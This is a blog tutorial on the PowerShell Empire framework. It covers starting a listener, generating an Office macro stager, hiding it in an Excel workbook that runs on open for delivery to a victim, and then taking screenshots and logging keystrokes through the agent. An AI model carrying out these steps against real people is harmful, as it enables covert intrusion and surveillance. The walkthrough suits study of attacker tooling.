Hands on Powershell Empire

2018 May 25

In this post I try PowerShell Empire for the first time. The information is largely based off of the following resources:

Information about PowerShell Empire and how to install it can be found on the official website.

In this post we will generate some malicious code, simulate the victim activating the code, and see what we can do from there.

PowerShell Empire usage

PowerShell empire has listeners, stagers, agents and modules.


The listener is the service that is executed on the attacker's machine. The infected machines will connect to the listener.


Stagers are the different methods you can use to deliver the payload to the victim. For instance there is a windows/macro stager that generates an Office Macro that will connect to the selected listener. There is also a windows/ducky stager that generates a Ducky script that will run a one-liner stage0 launcher. A launcher is the the code that will make the victim connect to the listener.

So a stager contains the delivery method and the payload to get the remote access.


Once the victim has executed the malicious code, an agent is started and connects to the listener. Thanks to the agent we will be able to use modules to take screenshots, elevate our privileges, capture network traffic, etc...

AttackerListenerVictimAgentActivate listenerSend malicious fileExecute malicious fileReport to listenerExecute modulesAttackerListenerVictimAgent

Starting PowerShell Empire

We start PowerShell Empire with ./empire.

 [Empire]  Post-Exploitation Framework
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|

       284 modules currently loaded

       0 listeners currently active

       0 agents currently active

(Empire) >

From there we can always use the command help to display available commands:

(Empire) > help

agents            Jump to the Agents menu.
creds             Add/display credentials to/from the database.
exit              Exit Empire
help              Displays the help menu.
interact          Interact with a particular agent.
list              Lists active agents or listeners.
listeners         Interact with active listeners.
load              Loads Empire modules from a non-standard folder.
plugin            Load a plugin file to extend Empire.
plugins           List all available and active plugins.
preobfuscate      Preobfuscate PowerShell module_source files
reload            Reload one (or all) Empire modules.
report            Produce report CSV and log files: sessions.csv, credentials.csv, master.log
reset             Reset a global option (e.g. IP whitelists).
resource          Read and execute a list of Empire commands from a file.
searchmodule      Search Empire module names/descriptions.
set               Set a global option (e.g. IP whitelists).
show              Show a global option (e.g. IP whitelists).
usemodule         Use an Empire module.
usestager         Use an Empire stager.

(Empire) >

Creating a listener

To create a listener, we will go to the listeners menu with the command listeners:

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) >

We are warned that no listener is currently active and then the shell changes to (Empire: listeners). To select a listener to use we type the command uselistener <listener_name>. To see the list of available listeners we type uselistener and press TAB twice.

(Empire: listeners) > uselistener
dbx           http_com      http_hop      meterpreter   redirector
http          http_foreign  http_mapi     onedrive

In this post we will use the http listener.

(Empire: listeners) > uselistener http
(Empire: listeners/http) >

Notice how the shell changes to listeners/http. Our listener is selected, to start it, we use execute:

(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) >

We can see the list of active listeners at any moment with listeners (this takes us back to the listeners menu).

(Empire: listeners/http) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http                    5/0.0

(Empire: listeners) >

Creating the payload

Now that we have a listener running. We need to create a payload so that our victim connects to this listener. Empire has you covered as you can do so very easily for various formats with stagers.

Let's show the list of available stagers by typing usestager and pressing TAB twice:

(Empire: listeners) > usestager
multi/bash                osx/macho                 windows/launcher_bat
multi/launcher            osx/macro                 windows/launcher_lnk
multi/macro               osx/pkg                   windows/launcher_sct
multi/pyinstaller         osx/safari_launcher       windows/launcher_vbs
multi/war                 osx/teensy                windows/launcher_xml
osx/applescript           windows/backdoorLnkMacro  windows/macro
osx/application           windows/bunny             windows/macroless_msword
osx/ducky                 windows/csharp_exe        windows/shellcode
osx/dylib                 windows/dll               windows/teensy
osx/jar                   windows/ducky
osx/launcher              windows/hta

In this post we will use windows/macro:

(Empire: listeners) > usestager windows/macro
(Empire: stager/windows/macro) >

Now we need to configure our stager so that it connects to our http listener. We can see the list of options with options:

(Empire: stager/windows/macro) > options

Name: Macro

  Generates an office macro for Empire, compatible
  with office 97-2003, and 2007 file types.


  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          False       /tmp/macro        File to output macro to, otherwise
                                                 displayed on the screen.
  Obfuscate        False       False             Switch. Obfuscate the launcher
                                                 powershell code, uses the
                                                 ObfuscateCommand for obfuscation types.
                                                 For powershell only.
  ObfuscateCommand False       Token\All\1,Launcher\STDIN++\12467The Invoke-Obfuscation command to use.
                                                 Only used if Obfuscate switch is True.
                                                 For powershell only.
  Language         True        powershell        Language of the stager to generate.
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  StagerRetries    False       0                 Times for the stager to retry

(Empire: stager/windows/macro) >

We set the Listener option to http with the set command.

(Empire: stager/windows/macro) > set Listener http
(Empire: stager/windows/macro) >

You should always be able to use autocompletion, otherwise it means that the command does not exist or is mispelled.

Finally, our stager is configured, and we can now generate it with the generate command:

(Empire: stager/windows/macro) > generate

[*] Stager output written out to: /tmp/macro

(Empire: stager/windows/macro) >

Delivering the payload

Now that we have an Office macro that will connect to the listener once executed, we have to find a way for the victim to execute the macro. This part is where you have to get creative.

In this post, I will simply put the macro in an Excel file and make it execute the macro whenever the workbook is opened.

You might need to activate the developer tab in File > Options > Customize Ribbon to be able to modify macros. Once its done go to Developer > View code to edit the macros.

To do so, we add the code found in /tmp/macro to our Excel file in "This Workbook". And we add some code to execute the malicious function (let's name it EUS) when the workbook opens:

Sub Workbook_Open()
End Sub

Now we save the file in the 97-2003 format, send it to our victim and wait patiently for him to open the workbook.

Controlling the agent

Once the victim has opened the woorkbook and activated macros we should see this in our console:

(Empire) > [*] Sending POWERSHELL stager (stage 1) to
[*] New agent 2UXW7CKL checked in
[+] Initial agent 2UXW7CKL from now active (Slack)
[*] Sending agent (stage 2) to 2UXW7CKL at

(Empire) >

This indicates that a new agent has been created, named 2UXW7CKL. We can rename it with rename. But first we need to navigate to the agents menu:

(Empire) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 2UXW7CKL ps      DESKTOP-8GLFQDV   DESKTOP-8GLFQDV\brainco powershell         4112   5/0.0    2018-05-28 23:04:11

Now we can give a better name to our agent. Let's name it NonAdminW10.

(Empire: agents) > rename 2UXW7CKL NonAdminW10
(Empire: agents) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 NonAdmin ps      DESKTOP-8GLFQDV   DESKTOP-8GLFQDV\brainco powershell         4112   5/0.0    2018-05-28 23:05:09

Using modules

Now that we have remote control over the infected PC, let's see what we can do. A set of modules already exist, to see them type usemodule and press TAB twice. Here is an excerpt of the output:

(Empire: agents) > usemodule
Display all 284 possibilities? (y or n)

If we wish to take a screenshot of the PC we can use the module powershell/collection/screenshot. But first we need to select our agent with interact <agent>:

(Empire: agents) > interact NonAdminW10
(Empire: NonAdminW10) >

Now we can execute our modules with usemodule and the run or execute:

(Empire: NonAdminW10) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > run
[*] Tasked 2UXW7CKL to run TASK_CMD_WAIT_SAVE
[*] Agent 2UXW7CKL tasked with task ID 1
[*] Tasked agent NonAdminW10 to run module powershell/collection/screenshot
(Empire: powershell/collection/screenshot) > [+] File screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png from NonAdminW10 saved
[*] Agent 2UXW7CKL returned results.
Output saved to ./downloads/NonAdminW10/screenshot/DESKTOP-8GLFQDV_2018-05-28_23-13-30.png
[*] Valid results returned by

(Empire: powershell/collection/screenshot) >

The file might take some time to be saved. If you open it you will see exactly what was on the victim's screen when the capture was taken.

Now let's use the module keylogger. We use back to go back to our agent's menu and we select and start the module collection/keylogger.

(Empire: powershell/collection/screenshot) > back
(Empire: NonAdminW10) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run
[*] Tasked 2UXW7CKL to run TASK_CMD_JOB
[*] Agent 2UXW7CKL tasked with task ID 2
[*] Tasked agent NonAdminW10 to run module powershell/collection/keylogger
(Empire: powershell/collection/keylogger) > [*] Agent 2UXW7CKL returned results.
Job started: B3CS1G
[*] Valid results returned by

Now if we go to the victim's machine and type "magnolia" somewhere, here is what we will see Agent 2UXW7CKL returned results in our console. Note that I encountered an error because the agent was renamed, so I had to manually create a file downloads/2UXW7CKL/keystrokes.txt to get the keystrokes. Once that was done I could see the user's keystrokes:

cat 2UXW7CKL/keystrokes.txt